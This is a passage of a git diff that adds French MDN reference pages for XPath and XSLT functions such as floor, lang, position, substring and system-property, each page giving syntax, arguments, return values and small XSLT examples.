Booléen false. +

+

Notes

+

Cette fonction est utile dans les comparaisons : +

+
<xsl:if test="boolean((1 > 2) = false())">
+ L'expression évaluée comme fausse
+</xsl:if>
+
+

Définition

+

XPath 1.0, section 4.3. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/false", "ja": "ja/XPath/Functions/false", "pl": "pl/XPath/Funkcje/false" } ) }} diff --git a/files/fr/web/xpath/functions/floor/index.html b/files/fr/web/xpath/functions/floor/index.html new file mode 100644 index 0000000000..36f96d9c5d --- /dev/null +++ b/files/fr/web/xpath/functions/floor/index.html @@ -0,0 +1,36 @@ +--- +title: floor +slug: Web/XPath/Fonctions/floor +tags: + - Fonction + - Reference + - Référence_XSLT + - XPath + - XSLT +translation_of: Web/XPath/Functions/floor +--- +

{{ XsltRef() }}

+


+ La fonction floor évalue un nombre décimal et retourne le plus grand nombre entier inférieur ou égal au nombre évalué.

+

Syntaxe

+
floor(nombre )
+
+

Arguments

+
+
+ + + nombre +
+
+ Le nombre décimal à évaluer.
+
+

Retour

+

Le plus grand nombre entier inférieur ou égal à + + nombre + .

+

Définition

+

XPath 1.0, section 4.4.

+

Support Gecko

+

Supportée.

diff --git a/files/fr/web/xpath/functions/format-number/index.html b/files/fr/web/xpath/functions/format-number/index.html new file mode 100644 index 0000000000..a9027215bc --- /dev/null +++ b/files/fr/web/xpath/functions/format-number/index.html @@ -0,0 +1,38 @@ +--- +title: format-number +slug: Web/XPath/Fonctions/format-number +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/format-number +--- +

+{{ XsltRef() }} +


+La fonction format-number évalue un nombre et retourne une chaîne représentant le nombre dans un format donné. +

+

Syntaxe

+
format-number( nombre , motif [, format-décimal] )
+
+

Arguments

+
nombre +
Le nombre à formater. +
+
motif +
Une chaîne au format de la classe Decimal Format (en) du JDK 1.1. La notice du JDK 1.1 n'est plus disponible. Vous trouverez ici la notice pour le JSE 6: Decimal Format (en) +
+
format-décimal (optionnel) +
Le nom d'un élément xsl:decimal-format qui définit le format de nombre à utiliser. Si il est omis, le format décimal par défaut est utilisé. +
+

Retour

+

Une chaîne représentant le nombre dans le nouveau format. +

+

Notes

+

Cette fonction est un ajout à XPath spécifique à XSLT. Elle ne fait pas partie de la bibliothèque de fonctions XPath principale. +

+

Définition

+

XSLT 1.0, section 12.3. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

{{ languages( { "en": "en/XPath/Functions/format-number", "pl": "pl/XPath/Funkcje/format-number" } ) }} diff --git a/files/fr/web/xpath/functions/function-available/index.html b/files/fr/web/xpath/functions/function-available/index.html new file mode 100644 index 0000000000..cfde97a7a5 --- /dev/null +++ b/files/fr/web/xpath/functions/function-available/index.html @@ -0,0 +1,29 @@ +--- +title: function-available +slug: Web/XPath/Fonctions/function-available +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/function-available +--- +

+{{ XsltRef() }} +


+La fonction function-available détermine si une fonction donnée est disponible et retourne le booléen true ou false. +

+

Syntaxe

+
function-available( nom )
+
+

Arguments

+
nom +
Le nom de la fonction à tester. +
+

Retour

+

La valeur booléenne true ou false. +

+

Définition

+

XPath 1.0, section 15. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

{{ languages( { "en": "en/XPath/Functions/function-available", "pl": "pl/XPath/Funkcje/function-available" } ) }} diff --git a/files/fr/web/xpath/functions/generate-id/index.html b/files/fr/web/xpath/functions/generate-id/index.html new file mode 100644 index 0000000000..69c5e6e277 --- /dev/null +++ b/files/fr/web/xpath/functions/generate-id/index.html @@ -0,0 +1,36 @@ +--- +title: generate-id +slug: Web/XPath/Fonctions/generate-id +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/generate-id +--- +

+{{ XsltRef() }} +


+La fonction generate-id génère un identifiant id unique pour le premier nœud d'un ensemble de nœuds donné et retourne une chaîne contenant cet id. +

+

Syntaxe

+
generate-id( [ensemble-de-nœuds] )
+
+

Arguments

+
ensemble-de-nœuds (optionnel) +
Un id sera généré pour le premier nœud de cet ensemble de nœuds. S'il est omis, le nœud de contexte courant sera utilisé. +
+

Retour

+

Une chaîne contenant l'id généré. +

+

Notes

+
  • Le même id doit être généré à chaque fois pour le même nœud dans le document courant pour la transformation courante. +
+
  • L'id généré peut ne pas être le même pour les transformations subséquentes. +
+

Cette fonction est un ajout à XPath spécifique à XSLT. Elle ne fait pas partie de la bibliothèque de fonctions XPath principale. +

+

Définition

+

XSLT 1.0, section 12.4. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

{{ languages( { "en": "en/XPath/Functions/generate-id", "pl": "pl/XPath/Funkcje/generate-id" } ) }} diff --git a/files/fr/web/xpath/functions/id/index.html b/files/fr/web/xpath/functions/id/index.html new file mode 100644 index 0000000000..587bdf6e03 --- /dev/null +++ b/files/fr/web/xpath/functions/id/index.html @@ -0,0 +1,37 @@ +--- +title: id +slug: Web/XPath/Fonctions/id +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/id +--- +

+{{ XsltRef() }} +


+La fonction id recherche les nœuds correspondant aux identifiants id donnés et retourne un ensemble de nœuds contenant les nœuds identifiés. +

+

Syntaxe

+
id( expression )
+
+

Arguments

+
expression +
Si expression est un ensemble de nœuds, alors la valeur de la chaîne de chacun des nœuds de l'ensemble est traitée individuellement. Les nœuds retournés sont ceux corespondant à ces identifiants id. +
+
Si expression est une chaîne, ou n'importe quoi d'autre qu'un ensemble de nœuds, alors expression est traitée comme une liste d'identifiants id séparés par des espaces L'ensemble de nœuds retourné comprend les nœuds corespondant à ces identifiants id. +
+

Retour

+

Un ensemble de nœuds contenant les nœuds identifiés par les id donnés. +

+

Notes

+ +

Définition

+

XPath 1.0, section 4.1. +

+

Support Gecko

+

Partiellement supportée. +

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/id", "ja": "ja/XPath/Functions/id", "pl": "pl/XPath/Funkcje/id" } ) }} diff --git a/files/fr/web/xpath/functions/index.html b/files/fr/web/xpath/functions/index.html new file mode 100644 index 0000000000..3c0b92453f --- /dev/null +++ b/files/fr/web/xpath/functions/index.html @@ -0,0 +1,54 @@ +--- +title: Fonctions +slug: Web/XPath/Fonctions +tags: + - Référence_XPath + - Référence_XSLT + - XPath +translation_of: Web/XPath/Functions +--- +

 

+

{{ XsltRef() }} La liste ci-dessous regroupe les principales fonctions de XPath et les ajouts à XPath qui sont spécifiques à XSLT. Chaque lien fournit pour la fonction correspondante description, syntaxe, liste d'arguments, types de résultats, description originelle dans les recommandations du W3C, et niveau de support actuel dans Gecko. Pour plus d'informations sur l'utilisation des fonctions XPath/XSLT, reportez-vous à la page Autres ressources.

+ +

Interwiki Languages Links

+

 

+
+  
+

{{ languages( { "en": "en/XPath/Functions", "ja": "ja/XPath/Functions", "pl": "pl/XPath/Funkcje", "zh-cn": "cn/XPath/Functions" } ) }}

diff --git a/files/fr/web/xpath/functions/key/index.html b/files/fr/web/xpath/functions/key/index.html new file mode 100644 index 0000000000..48dc4c49f5 --- /dev/null +++ b/files/fr/web/xpath/functions/key/index.html @@ -0,0 +1,37 @@ +--- +title: key +slug: Web/XPath/Fonctions/key +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/key +--- +

+{{ XsltRef() }} +


+La fonction key retourne un ensemble de nœuds ayant la valeur donnée pour la clef donnée. +

+

Syntaxe

+
key( nom-de-clef , valeur )
+
+

Arguments

+
nom-de-clef +
Une chaîne contenant le nom de l'élément xsl:key à utiliser. +
+
valeur +
L'ensemble de nœuds retourné contiendra chaque nœud qui possède cette valeur pour la clef donnée. +
+

Retour

+

Un ensemble de nœuds. +

+

Notes

+
  • L'élément xsl:key définit quel attribut de quels éléments donnés sera utilisé pour la comparaison. +
+

Cette fonction est un ajout à XPath spécifique à XSLT. Elle ne fait pas partie de la bibliothèque de fonctions XPath principale. +

+

Définition

+

XSLT 1.0, section 12.2. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

{{ languages( { "en": "en/XPath/Functions/key", "pl": "pl/XPath/Funkcje/key" } ) }} diff --git a/files/fr/web/xpath/functions/lang/index.html b/files/fr/web/xpath/functions/lang/index.html new file mode 100644 index 0000000000..6ce39f2dc1 --- /dev/null +++ b/files/fr/web/xpath/functions/lang/index.html @@ -0,0 +1,56 @@ +--- +title: lang +slug: Web/XPath/Fonctions/lang +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/lang +--- +

+{{ XsltRef() }} +


+La fonction lang détermine si le nœud de contexte correspond à la langue indiquée et retourne le booléen true ou false. +

+

Syntaxe

+
lang( chaîne )
+
+

Arguments

+
chaîne +
Le code de langue ou de localisation (langue et pays) à vérifier. +
+

Retour

+

true si le noeud de contexte est dans la langue donnée, false autrement. +

+

Notes

+
  • La langue d'un nœud est déterminée par son attribut xml:lang. Si le nœud courant ne possède pas cet attribut, alors la valeur de l'attribut xml:lang du plus proche ancêtre le possédant déterminera la langue du nœud courant. Si la langue ne peut être déterminée (aucun ancêtre avec un attribut xml:lang), cette fonction retourne le booléen false. +
+
  • Si la chaîne donnée ne spécifie pas de code de pays, cette fonction sélectionnera les nœuds dans la langue spécifiée, suivie éventuellement de n'importe quel code de pays. La réciproque n'est pas vraie. +
+

Regardons le code XML suivant : +

+
<p xml:lang="en">I went up a floor.</p>
+<p xml:lang="en-GB">I took the lift.</p>
+<p xsl:lang="en-US">I rode the elevator.</p>
+

et ce modèle XSL : +

+
<xsl:value-of select="count(//p[lang('en')])" />
+<xsl:value-of select="count(//p[lang('en-GB')])" />
+<xsl:value-of select="count(//p[lang('en-US')])" />
+<xsl:value-of select="count(//p[lang('de')])" />
+
+

La sortie sera : +

+
3
+1
+1
+0
+
+

Définition

+

XPath 1.0, section 4.3. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/lang", "ja": "ja/XPath/Functions/lang", "pl": "pl/XPath/Funkcje/lang" } ) }} diff --git a/files/fr/web/xpath/functions/last/index.html b/files/fr/web/xpath/functions/last/index.html new file mode 100644 index 0000000000..2482ff891f --- /dev/null +++ b/files/fr/web/xpath/functions/last/index.html @@ -0,0 +1,31 @@ +--- +title: last +slug: Web/XPath/Fonctions/last +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/last +--- +

+{{ XsltRef() }} +


+La fonction last retourne un nombre égal à la taille du contexte dans le contexte d'évaluation d'expression. +

+

Syntaxe

+
last()
+
+

Retour

+

Un entier égal à la taille du contexte dans le contexte d'évaluation d'expression. +

+

Notes

+
  • Cette fonction est souvent utilisée avec la fonction position() pour déterminer si un nœud particulier est le dernier d'un ensemble de nœud. +
+

Définition

+

XPath 1.0, section 4.1. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/last", "ja": "ja/XPath/Functions/last", "pl": "pl/XPath/Funkcje/last" } ) }} diff --git a/files/fr/web/xpath/functions/local-name/index.html b/files/fr/web/xpath/functions/local-name/index.html new file mode 100644 index 0000000000..6eeb89c283 --- /dev/null +++ b/files/fr/web/xpath/functions/local-name/index.html @@ -0,0 +1,35 @@ +--- +title: local-name +slug: Web/XPath/Fonctions/local-name +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/local-name +--- +

+{{ XsltRef() }} +


+La fonction local-name retourne une chaîne représentant le nom local du premier nœud d'un ensemble de nœuds donné. +

+

Syntaxe

+
local-name( [ensemble-de-nœuds] )
+
+

Arguments

+
ensemble-de-nœuds (optionnel) +
Le nom local du premier nœud de cet ensemble de nœuds sera retourné. Si cet argument est omis, le nœud de contexte courant sera utilisé. +
+

Retour

+

Une chaîne. +

+

Notes

+ +

Définition

+

XPath 1.0, section 4.1. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/local-name", "ja": "ja/XPath/Functions/local-name", "pl": "pl/XPath/Funkcje/local-name" } ) }} diff --git a/files/fr/web/xpath/functions/name/index.html b/files/fr/web/xpath/functions/name/index.html new file mode 100644 index 0000000000..f84ecace25 --- /dev/null +++ b/files/fr/web/xpath/functions/name/index.html @@ -0,0 +1,35 @@ +--- +title: name +slug: Web/XPath/Fonctions/name +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/name +--- +

+{{ XsltRef() }} +


+La fonction name retourne une chaîne représentant le QName du premier nœud d'un ensemble de nœuds donné. +

+

Syntaxe

+
name( [ensemble-de-nœuds] )
+
+

Arguments

+
ensemble-de-nœuds (optionnel) +
Le QName du premier nœud de cet ensemble de nœuds sera retourné. Si cet argument est omis, le nœud de contexte courant sera utilisé. +
+

Retour

+

Une chaîne représentant le QName d'un nœud. +

+

Notes

+
  • Le QName est le nom qualifié du nœud, incluant le préfixe de son espace de nommage et son nom local. +
+

Définition

+

XPath 1.0, section 4.1. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/name", "ja": "ja/XPath/Functions/name", "pl": "pl/XPath/Funkcje/name" } ) }} diff --git a/files/fr/web/xpath/functions/namespace-uri/index.html b/files/fr/web/xpath/functions/namespace-uri/index.html new file mode 100644 index 0000000000..40bbbacd5e --- /dev/null +++ b/files/fr/web/xpath/functions/namespace-uri/index.html @@ -0,0 +1,37 @@ +--- +title: namespace-uri +slug: Web/XPath/Fonctions/namespace-uri +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/namespace-uri +--- +

+{{ XsltRef() }} +


+La fonction namespace-uri retourne une chaîne représentant l'URI de l'espace de nommage du premier nœud d'un ensemble de nœuds donné. +

+

Syntaxe

+
namespace-uri( [ensemble-de-nœuds] )
+
+

Arguments

+
ensemble-de-nœuds (optionnel) +
L'URI de l'espace de nommage du premier nœud de cet ensemble de nœuds sera retournée. Si cet argument est omis, le nœud de contexte courant sera utilisé. +
+

Retour

+

Une chaîne représentant l'URI de l'espace de nommage dans lequel se trouve le nœud donné. +

+

Notes

+
  • S'il n'y a pas d'espace de nommage spécifié pour le noeud donné, la chaîne retournée sera une chaîne vide. +
+
  • Pour les nœuds autres que les nœuds element et attribute, la chaîne retournée sera toujours une chaîne vide. +
+

Définition

+

XPath 1.0, section 4.1. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/namespace-uri", "ja": "ja/XPath/Functions/namespace-uri", "pl": "pl/XPath/Funkcje/namespace-uri" } ) }} diff --git a/files/fr/web/xpath/functions/normalize-space/index.html b/files/fr/web/xpath/functions/normalize-space/index.html new file mode 100644 index 0000000000..6ca26b2e90 --- /dev/null +++ b/files/fr/web/xpath/functions/normalize-space/index.html @@ -0,0 +1,41 @@ +--- +title: normalize-space +slug: Web/XPath/Fonctions/normalize-space +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/normalize-space +--- +

{{ XsltRef() }}

+ +


+ La fonction normalize-space supprime les espaces de début et de fin d'une chaîne et remplace les successions d’espaces par une seule puis retourne la chaîne résultante.

+ +

Syntaxe

+ +
normalize-space(chaîne )
+
+ +

Arguments

+ +
+
chaîne
+
La chaîne à normaliser.
+
+ +

Retour

+ +

La chaîne nomalisée.

+ +

Définition

+ +

XPath 1.0, section 4.2.

+ +

Support Gecko

+ +

Supportée.

+ +

Interwiki Languages Links

+ +
+ +

{{ languages( { "en": "en/XPath/Functions/normalize-space", "ja": "ja/XPath/Functions/normalize-space", "pl": "pl/XPath/Funkcje/normalize-space" } ) }}

diff --git a/files/fr/web/xpath/functions/not/index.html b/files/fr/web/xpath/functions/not/index.html new file mode 100644 index 0000000000..49521ba9a2 --- /dev/null +++ b/files/fr/web/xpath/functions/not/index.html @@ -0,0 +1,35 @@ +--- +title: not +slug: Web/XPath/Fonctions/not +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/not +--- +

+{{ XsltRef() }} +


+La fonction not évalue une expression booléenne et retourne la valeur opposée. +

+

Syntaxe

+
not( expression )
+
+

Arguments

+
expression (optionnel) +
L'expression est évaluée exactement comme si elle était passée en tant qu'argument à la fonction boolean(). +
+

Retour

+

True pour une expression évaluée à false ; false pour une expression évaluée à true. +

+

Notes

+
  • Cette fonction devrait se comporter de façon identique à la fonction boolean(), excepté qu'elle retourne la valeur opposée. +
+

Définition

+

XPath 1.0, section 4.3. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/not", "ja": "ja/XPath/Functions/not", "pl": "pl/XPath/Funkcje/not" } ) }} diff --git a/files/fr/web/xpath/functions/number/index.html b/files/fr/web/xpath/functions/number/index.html new file mode 100644 index 0000000000..c230413856 --- /dev/null +++ b/files/fr/web/xpath/functions/number/index.html @@ -0,0 +1,35 @@ +--- +title: number +slug: Web/XPath/Fonctions/number +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/number +--- +

+{{ XsltRef() }} +


+La fonction number convertit un objet en un nombre et retourne ce nombre. +

+

Syntaxe

+
number( [objet] )
+
+

Arguments

+
objet (optionnel) +
L'objet à convertir en nombre. +
+

Retour

+

Le nombre résultant après conversion de l'objet. +

+

Notes

+
  • Les chaînes sont converties en nombre en enlevant les espaces précédant le nombre dans la chaîne et en ignorant tout ce qui suit le nombre. Si la chaîne ne correspond pas à ce motif, alors elle est convertie en NaN
  • Le booléen true est converti en 1. False est converti en 0.
  • Un ensemble de nœuds est d'abord converti en chaîne comme lors d'un appel à la fonction string() puis il est traité de la même façon qu'une chaîne. +
  • Un objet qui n'est pas d'un des quatre types de base est converti en nombre avec une méthode qui dépend de son type.
+

Définition

+

XPath 1.0, section 4.4. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/number", "ja": "ja/XPath/Functions/number", "pl": "pl/XPath/Funkcje/number" } ) }} diff --git a/files/fr/web/xpath/functions/position/index.html b/files/fr/web/xpath/functions/position/index.html new file mode 100644 index 0000000000..fb746d8286 --- /dev/null +++ b/files/fr/web/xpath/functions/position/index.html @@ -0,0 +1,57 @@ +--- +title: position +slug: Web/XPath/Fonctions/position +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/position +--- +

{{ XsltRef() }}

+ +


+ La fonction position retourne un nombre égal à la position du contexte dans le contexte d'évaluation d'expression.

+ +

Syntaxe

+ +
position()
+
+ +

Retour

+ +

Un nombre entier égal à la position du contenu dans le contexte d'évaluation d'expression.

+ +

Notes

+ +
    +
  • Notez que la numérotation de la position d'un n&oelig:ud dans un contexte commence à 1. Le premier nœud a donc la position 1.
    • +
+ +
    +
  • Le contexte est déterminé par le reste du chemin :
    • +
+ +
<xsl:template match="//a[position() = 5]">
+ <!-- cet exemple 'attrape' le cinquième élément "a"
+         n'importe où dans le document. -->
+</xsl:template>
+
+ +
<xsl:template match="//div[@class='foo']/bar[position() = 1]">
+ <!-- cet exemple 'attrape' le premier
+         élément "bar" enfant d'un élément "div"
+         avec un attribut "class" valant "foo" -->
+</xsl:template>
+
+ +

Définition

+ +

XPath 1.0, section 4.1.

+ +

Support Gecko

+ +

Supportée.

+ +

Interwiki Languages Links

+ +
 
+ +

{{ languages( { "en": "en/XPath/Functions/position", "ja": "ja/XPath/Functions/position", "pl": "pl/XPath/Funkcje/position" } ) }}

diff --git a/files/fr/web/xpath/functions/round/index.html b/files/fr/web/xpath/functions/round/index.html new file mode 100644 index 0000000000..3383b0f74c --- /dev/null +++ b/files/fr/web/xpath/functions/round/index.html @@ -0,0 +1,35 @@ +--- +title: round +slug: Web/XPath/Fonctions/round +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/round +--- +

+{{ XsltRef() }} +


+La fonction round retourne le nombre entier le plus proche d'un nombre donné. +

+

Syntaxe

+
round( décimal )
+
+

Arguments

+
décimal +
Le nombre décimal à arrondir. +
+

Retour

+

Le plus proche nombre entier, qu'il soit plus grand, plus petit ou égal à decimal. +

+

Notes

+
  • -0.5 est arrondi à zéro négatif. 0.4 est arrondi à zéro positif. +
+

Définition

+

XPath 1.0, section 4.4. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/round", "ja": "ja/XPath/Functions/round", "pl": "pl/XPath/Funkcje/round" } ) }} diff --git a/files/fr/web/xpath/functions/starts-with/index.html b/files/fr/web/xpath/functions/starts-with/index.html new file mode 100644 index 0000000000..94c8e8d734 --- /dev/null +++ b/files/fr/web/xpath/functions/starts-with/index.html @@ -0,0 +1,24 @@ +--- +title: starts-with +slug: Web/XPath/Fonctions/starts-with +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/starts-with +--- +

{{ XsltRef() }}

+


+La fonction starts-with vérifie si la première chaîne débute par la seconde, et retourne true ou false.

+

Syntaxe

+
starts-with( meule , aiguille)
+
+

Arguments

+
meule
La chaîne dans laquelle chercher.
aiguille
La chaîne à rechercher.
+

Retour

+

true si meule débute par aiguille. Autrement, false.

+

Définition

+

XPath 1.0, section 4.2.

+

Support Gecko

+

Supportée.

+

Interwiki Languages Links

+ +

{{ languages( { "en": "en/XPath/Functions/starts-with", "ja": "ja/XPath/Functions/starts-with", "pl": "pl/XPath/Funkcje/starts-with" } ) }}

diff --git a/files/fr/web/xpath/functions/string-length/index.html b/files/fr/web/xpath/functions/string-length/index.html new file mode 100644 index 0000000000..3e983b4575 --- /dev/null +++ b/files/fr/web/xpath/functions/string-length/index.html @@ -0,0 +1,32 @@ +--- +title: string-length +slug: Web/XPath/Fonctions/string-length +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/string-length +--- +

+{{ XsltRef() }} +


+La fonction string-length retourne le nombre de caractères dans une chaîne donnée. +

+

Syntaxe

+
string-length( [chaîne] )
+
+

Arguments

+
chaîne (optionnel) +
La chaîne à évaluer. S'il est omis, la chaîne utilisée sera le noeud de contexte converti en chaîne. +
+

Retour

+

Un entier égal au nombre de caractères dans la chaîne. +

+

Définition

+

XPath 1.0, section 4.2. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/string-length", "ja": "ja/XPath/Functions/string-length", "pl": "pl/XPath/Funkcje/string-length" } ) }} diff --git a/files/fr/web/xpath/functions/string/index.html b/files/fr/web/xpath/functions/string/index.html new file mode 100644 index 0000000000..00f0a8e17b --- /dev/null +++ b/files/fr/web/xpath/functions/string/index.html @@ -0,0 +1,43 @@ +--- +title: string +slug: Web/XPath/Fonctions/string +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/string +--- +

+{{ XsltRef() }} +


+La fonction string convertit l'argument passé en une chaîne. +

+

Syntaxe

+
string( [objet] )
+
+

Arguments

+
objet (optionnel) +
L'objet à convertir en une chaîne. Si il est omis, le nœud du contexte est utilisé. +
+

Retour

+

Une chaîne. +

+

Notes

+
  • Si l'objet est un ensemble de nœuds, la valeur de la chaîne du premier nœud de l'ensemble est retournée. +
  • Un nombre est converti comme suit : +
    • NaN est converti en la chaîne NaN. +
    • Zéro positif est converti en 0. +
    • Zéro négatif est converti en 0. +
    • Infini positif est converti en la chaîne Infinity. +
    • Infini négatif est converti en la chaîne -Infinity. +
    • Les nombres décimaux entre -1 et 1 sont convertis en chaîne comportant un unique 0 avant le séparateur décimale. +
    +
+

Définition

+

XPath 1.0, section 4.2. +

+

Support Gecko

+

Supportée. +

Interwiki languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/string", "ja": "ja/XPath/Functions/string", "pl": "pl/XPath/Funkcje/string" } ) }} diff --git a/files/fr/web/xpath/functions/substring-after/index.html b/files/fr/web/xpath/functions/substring-after/index.html new file mode 100644 index 0000000000..ba4e4eb8bc --- /dev/null +++ b/files/fr/web/xpath/functions/substring-after/index.html @@ -0,0 +1,38 @@ +--- +title: substring-after +slug: Web/XPath/Fonctions/substring-after +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/substring-after +--- +

+{{ XsltRef() }} +


+La fonction substring-after() retourne la partie d'une chaîne donnée suivant une sous-chaîne donnée. +

+

Syntaxe

+
substring-after( bottedefoin , aiguille )
+
+

Arguments

+
bottedefoin +
La chaîne à évaluer. Un extrait de cette chaîne sera retourné. +
+
aiguille +
La sous-chaîne à rechercher. Tout le contenu se trouvant après la première occurrence de aiguille dans la chaîne bottedefoin sera retourné. +
+

Retour

+

Une chaîne. +

+

Exemples

+ +
Exemple XPath Sortie
<xsl:value-of select="substring-after('1999/04/01','/')" /> 04/01
substring-after('aa-bb','-') bb
substring-after('aa-bb','a') a-bb
substring-after('aa-bb','b') b
substring-after('aa-bb','q') (empty string)
+

Définition

+

XPath 1.0, section 4.2. +

+

Support Gecko

+

Supportée. +

Interwiki languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/substring-after", "ja": "ja/XPath/Functions/substring-after", "pl": "pl/XPath/Funkcje/substring-after" } ) }} diff --git a/files/fr/web/xpath/functions/substring-before/index.html b/files/fr/web/xpath/functions/substring-before/index.html new file mode 100644 index 0000000000..5542b2c0cb --- /dev/null +++ b/files/fr/web/xpath/functions/substring-before/index.html @@ -0,0 +1,38 @@ +--- +title: substring-before +slug: Web/XPath/Fonctions/substring-before +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/substring-before +--- +

+{{ XsltRef() }} +


+La fonction substring-before() retourne retourne la partie d'une chaîne donnée précédant une sous-chaîne donnée. +

+

Syntaxe

+
substring-before( bottedefoin , aiguille )
+
+

Arguments

+
bottedefoin +
La chaîne à évaluer. Un extrait de cette chaîne sera retourné. +
+
aiguille +
La sous-chaîne à rechercher. Tout le contenu se trouvant avant la première occurrence de aiguille dans la chaîne bottedefoin sera retourné. +
+

Retour

+

Une chaîne. +

+

Exemples

+ +
XPath Example Output
<xsl:value-of select="substring-before('1999/04/01','/')" /> 1999
substring-before('aa-bb','-') aa
substring-before('aa-bb','a') (empty string)
substring-before('aa-bb','b') aa-
substring-before('aa-bb','q') (empty string)
+

Définition

+

XPath 1.0, section 4.2. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/substring-before", "ja": "ja/XPath/Functions/substring-before", "pl": "pl/XPath/Funkcje/substring-before" } ) }} diff --git a/files/fr/web/xpath/functions/substring/index.html b/files/fr/web/xpath/functions/substring/index.html new file mode 100644 index 0000000000..0ac5572b19 --- /dev/null +++ b/files/fr/web/xpath/functions/substring/index.html @@ -0,0 +1,40 @@ +--- +title: substring +slug: Web/XPath/Fonctions/substring +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/substring +--- +

+{{ XsltRef() }} +


+La fonction substring retourne une partie d'une chaîne donnée. +

+

Syntaxe

+
substring( chaîne , début [, longueur] )
+
+

Arguments

+
chaîne
La chaîne à évaluer. +
+
début +
La position dans la chaîne où commence la sous-chaîne. +
+
longueur (optionnel) +
La longueur de la sous-chaîne à extraire. S'il est omis, la chaîne retournée contiendra tous les caractères depuis la position début jusqu'à la fin de la chaîne. +
+

Retour

+

Une chaîne. +

+

Notes

+

Comme pour les autres fonctions XPath, les positions ne sont pas comptées à partir de zéro. Le premier caractère de la chaîne est à la position 1. +

+

Définition

+

XPath 1.0, section 4.2. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/substring", "es": "es/XPath/Funciones/substring", "ja": "ja/XPath/Functions/substring", "pl": "pl/XPath/Funkcje/substring" } ) }} diff --git a/files/fr/web/xpath/functions/sum/index.html b/files/fr/web/xpath/functions/sum/index.html new file mode 100644 index 0000000000..9b185c65d7 --- /dev/null +++ b/files/fr/web/xpath/functions/sum/index.html @@ -0,0 +1,35 @@ +--- +title: sum +slug: Web/XPath/Fonctions/sum +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/sum +--- +

+{{ XsltRef() }} +


+La fonction sum retourne un nombre qui est la somme des valeurs numériques de chaque nœud d'un ensemble de nœuds donné. +

+

Syntaxe

+
sum( ensemble-de-nœuds )
+
+

Arguments

+
ensemble-de-nœuds +
L'ensemble de nœuds à évaluer. Chaque nœud de l'ensemble est évalué comme s'il était passé à la fonction number(), et la somme des nombres résultants est retournée. +
+

Retour

+

Un nombre. +

+

Notes

+

(Aucune) +

+

Définition

+

XPath 1.0, section 4.3. +

+

Support Gecko

+

Supportée. +

Interwiki languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/sum", "ja": "ja/XPath/Functions/sum", "pl": "pl/XPath/Funkcje/sum" } ) }} diff --git a/files/fr/web/xpath/functions/system-property/index.html b/files/fr/web/xpath/functions/system-property/index.html new file mode 100644 index 0000000000..3ac02cbcc4 --- /dev/null +++ b/files/fr/web/xpath/functions/system-property/index.html @@ -0,0 +1,34 @@ +--- +title: system-property +slug: Web/XPath/Fonctions/system-property +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/system-property +--- +

+{{ XsltRef() }} +


+La fonction system-property() retourne un objet représentant la propriété système donnée. +

+

Syntaxe

+
system-property( nom )
+
+

Arguments

+
nom (optionnel) +
Le nom de la propriété système. L'argument s'évaluer en une chaîne qui est un QName. Le QName est développé en un nom à l'aide des déclarations d'espaces de nommage s'appliquant à l'expression. La fonction system-property() retourne un objet représentant la valeur de la propriété système identifiée par le nom. Si cette propriété système n'existe pas, une chaîne vide est retournée. +
+

Retour

+

Un objet représentant le propriété système donnée. +

+

Notes

+
  • xsl:version, un nombre correspondant à la version de XSLT implémentée par le processeur ; pour les processeurs XSLT implémentant la version de XSLT définit dans ce document, ce nombre est 1.0. +
  • xsl:vendor, une chaîne identifiant le vendeur du processeur XSLT. +
  • xsl:vendor-url, une chaîne contenant une URL qui identifie le vendeur du processeur XSLT ; généralement, il s'agit de l'adresse de la page Web du vendeur. +
+

Définition

+

